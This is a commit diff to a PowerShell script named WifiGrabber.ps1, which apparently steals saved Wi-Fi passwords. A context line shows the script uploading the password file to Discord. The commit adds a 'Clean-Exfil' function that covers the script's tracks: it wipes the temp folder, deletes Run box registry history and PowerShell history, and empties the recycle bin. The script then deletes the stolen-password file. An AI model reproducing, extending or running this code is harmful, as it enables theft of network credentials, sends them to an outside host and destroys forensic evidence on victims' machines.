Update WifiGrabber.ps1
This commit is contained in:
parent
d4d7f59273
commit
f321268754
1 changed files with 20 additions and 0 deletions
|
@ -62,5 +62,25 @@ if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file "$env:TEMP/--wifi-
|
|||
|
||||
############################################################################################################################################################
|
||||
|
||||
function Clean-Exfil {
|
||||
|
||||
# empty temp folder
|
||||
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||
|
||||
# delete run box history
|
||||
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f -ErrorAction SilentlyContinue
|
||||
|
||||
# Delete powershell history
|
||||
Remove-Item (Get-PSreadlineOption).HistorySavePath -ErrorAction SilentlyContinue
|
||||
|
||||
# Empty recycle bin
|
||||
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||
|
||||
}
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
if (-not ([string]::IsNullOrEmpty($ce))){Clean-Exfil}
|
||||
|
||||
|
||||
RI $env:TEMP/--wifi-pass.txt
|
||||
|
|
Loading…
Reference in a new issue